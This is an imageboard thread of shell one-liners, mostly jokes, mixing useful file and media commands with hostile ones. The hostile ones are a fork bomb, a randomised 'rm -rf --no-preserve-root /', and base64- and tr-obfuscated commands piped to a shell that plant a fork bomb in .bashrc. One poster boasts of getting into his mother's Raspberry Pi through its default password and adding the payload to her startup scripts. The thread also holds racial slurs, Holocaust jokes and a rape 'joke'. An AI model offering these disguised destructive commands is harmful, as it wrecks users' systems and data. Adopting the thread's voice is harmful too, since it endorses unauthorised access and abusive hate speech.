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Kinky

ln -s /dev/null garbage; mv you garbage

./a.out

trap "espeak 'Good job, retard!'" ERR

that can't even work nigga

this will now brick your motherboard and nuke your efi partition beyond repair
thanks linus/systemd

Only if you install with UEFI comparability. Also, what does systemd, an init system, have anything to do with BIO/UEFI, grub and efi partitions? Nothing. You can install gentoo with UEFI and without systemd and still be able to do this.

# Find how many lands you need in an MTG list (you must count the mana symbols yourelqecho ggggbbuuuubbggrwbrgggggwwwwuuuggggrrrrgggguuuuuu | sed 's#.#&\n#g' | awk '/w|b|u|r|g/{cnt[$0]++}; END {total = 0; for (i in cnt) total = total + cnt[i]; for (i in cnt) print i " " cnt[i] / total * 20}'# Use the c preprocessor in sh scriptsgrep -e '^#CPP ' -e '^[^#]' "$1" | sed 's/#CPP /#/' | cpp -undef -x c | sh# Strip ansi sequences (needs GNU sed)sed -E "s#\x1b\\[([0-9]+;[0-9]+(H|f)|[0-9][A-D]|[suK]|2J|([0-9]+;)*[0-9]+m|=[0-9]+(h|l))##g"

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why?

[E [2 [0 3] [0 2]]]

You want to use variables inside the quoting hell.

uptime | perl -ne "/(\d+) d/;print 8,q(=)x\$1,\"D\n\""

kekd
meremor@ysengr:~/smartphone$ uptime | perl -ne "/(\d+) d/;print 8,q(=)x\$1,\"D\n\""8===============================================================================================================================================================D

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is that intentional?

haven't seen this one in a long time

why has no one posted a fork bomb yet?

cd .

find / -type -print brain | xargs replace
not sure if I got this right but whatever

find is one of the God commands.
you have soiled it.
suffering will follow.

:(){ :|: & };:

[ $[ $RANDOM % 6 ] == 0 ] && rm -rf --no-preserve-root / || echo *Click*

(*((void (*)(void))(0)))();

it's not a command, it's a program, you ding hole

$ which find
/usr/bin/find

Kernighan and Pike don't make that distinction.

So what? All people make mistakes and sometimes blunders too.

They do that consistently. "Command" is a homonym. "find" is a command. You're just being incorrectly pedantic.

echo "ZWNobyBPaWdwZXlBNmZEb21JSDA3T2dvPSB8IGJhc2U2NCAtZCA+IC5iYXNocmMK" | base64 -d | sh

Ingenious.

echo carl the moongeek/o.lye10uA8/C | tr gnu/homekat :phisth/bu\\- | sed s./.L. | bash | bash

php > echo base64_decode("ZWNobyBPaWdwZXlBNmZEb21JSDA3T2dvPSB8IGJhc2U2NCAtZCA+IC5iYXNocmMK");echo OigpeyA6fDomIH07Ogo= | base64 -d > .bashrcphp > echo base64_decode("OigpeyA6fDomIH07Ogo=");:(){ :|:& };:

>>>/gaschamber/

Unused 4790k for sale!

[watch -n 15 'printf "Holla Forums Cancer Counter\n----------------------\\n" && kw="botnet codemonkey hotwheels jim josh rust" && for w in $kw; do echo " " $w: $(curl -sL 8ch.net/tech/catalog.html | grep -io $w | wc -l); done && printf "\\n/pol/ Cancer Counter\\n---------------------\\n" && kw="antifa happening jew nigger shill sjw trs" && for w in $kw; do echo " " $w: $(curl -sL 8ch.net/pol/catalog.html | grep -io $w | wc -l); done']

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watch -n 15 'printf "Holla Forums Cancer Counter\n----------------------\n" && kw="botnet codemonkey hotwheels jim josh rust" && for w in $kw; do echo " " $w: $(curl -sL 8ch.net/tech/catalog.html | grep -io $w | wc -l); done && printf "\n/pol/ Cancer Counter\n---------------------\\n" && kw="antifa happening jew nigger shill sjw trs" && for w in $kw; do echo " " $w: $(curl -sL 8ch.net/pol/catalog.html | grep -io $w | wc -l); done'
]

[code]watch -n 15 'printf "Holla Forums Cancer Counter\n----------------------\n" && kw="botnet codemonkey hotwheels jim josh rust" && for w in $kw; do echo " " $w: $(curl -sL 8ch.net/tech/catalog.html | grep -io $w | wc -l); done && printf "\n/pol/ Cancer Counter\n---------------------\n" && kw="antifa happening jew nigger shill sjw trs" && for w in $kw; do echo " " $w: $(curl -sL 8ch.net/pol/catalog.html | grep -io $w | wc -l); done'[code]

watch -n 15 'printf "Holla Forums Cancer Counter\n----------------------\n" && kw="botnet codemonkey hotwheels jim josh rust" && for w in $kw; do echo " " $w: $(curl -sL 8ch.net/tech/catalog.html | grep -io $w | wc -l); done && printf "\n/pol/ Cancer Counter\n---------------------\n" && kw="antifa happening jew nigger shill sjw trs" && for w in $kw; do echo " " $w: $(curl -sL 8ch.net/pol/catalog.html | grep -io $w | wc -l); done'

good work, pajeet

These aren't really bestest, but I find them to be useful.

Recursive convert audio
find . -type f -name "*.flac" -print0 | while read -d '' -r in; do opusenc --comp 10 --bitrate 64 "$in" "${in%.flac}".opus; done

Recursive find and optimize images
find . -type f -name "*.jpg" -exec jpegoptim {} \;
find . -type f -name "*.png" -exec optipng {} \;

Unzip folder of zip files into their own directory
for f in *.zip; do unzip -d "${f%*.zip}" "$f"; done

Zip directories into their own zip file
for i in *; do zip -r "${i%}.zip" "$i"; done

Recursive find and remove by extension
find . -type f -name "*.XXX" -exec rm "{}" \;

Still image with audio webm for chans
ffmpeg -r 1 -loop 1 -i 1.png -i 1.wav -c:v libvpx -c:a libvorbis -b:a 64k -shortest out.webm

holy shit that's funny i just ssh'd into my mom's raspberg pi and put that shit into a bunch of her startup scripts.

That's disgusting. Use grep -c. Use functions. Put it in a separate file, on multiple lines.

I'm a bashlet but I needed a pkill command who sends SIGKILLs instead of SIGTERMs for when I try to make music with jackd, so I made one with pgrep.
This line will install it in $HOME/bin/, you can pass options to pgrep, and it also gives you the list of processes which have been killed.
printf '#!/bin/sh\nfor pid in $(pgrep "$@"); do kill -9 $pid; done\nuntil [ $# -eq 1 ]; do shift; done\nps -A | grep $1' > $HOME/bin/pkill9 && chmod 755 $HOME/bin/pkill9

"pkill -9" or "pkill --signal KILL".
Read the man page.

Why would you do that?

Damn. I vaguely remember trying to use pkill -9 years ago and it wouldn't work the way I expected, so I thought it was a good idea to write this.
Well, I learned things about Unix at least.

because she still won't change the default password 'raspberry' even though i showed her that it's extremely vulnerable. she just acted bitchy when i showed her. she said "I don't have a password on my pi" i'm guessing she thinks that because theres no login screen.

Rape her.

$ mv /usr/bin/find /usr/bin/nigger

Same program, different command. Ergo 'find' is a command. QED

kek
Russian roulette drive wiping.

not realizing

was using php to decipher

send yourself to the
>>>/gaschamber/

#print out 400 random words from the dictionary, separated by space. Great for shitposting in data-mining threads. Or printing out random text to wrap around a (check|sensitive document) before posting to stop candle-lighting attacks.shuf -n400 /usr/share/dict/words|tr -s "\n" " "

>using php for anything
>>>/auschwitz/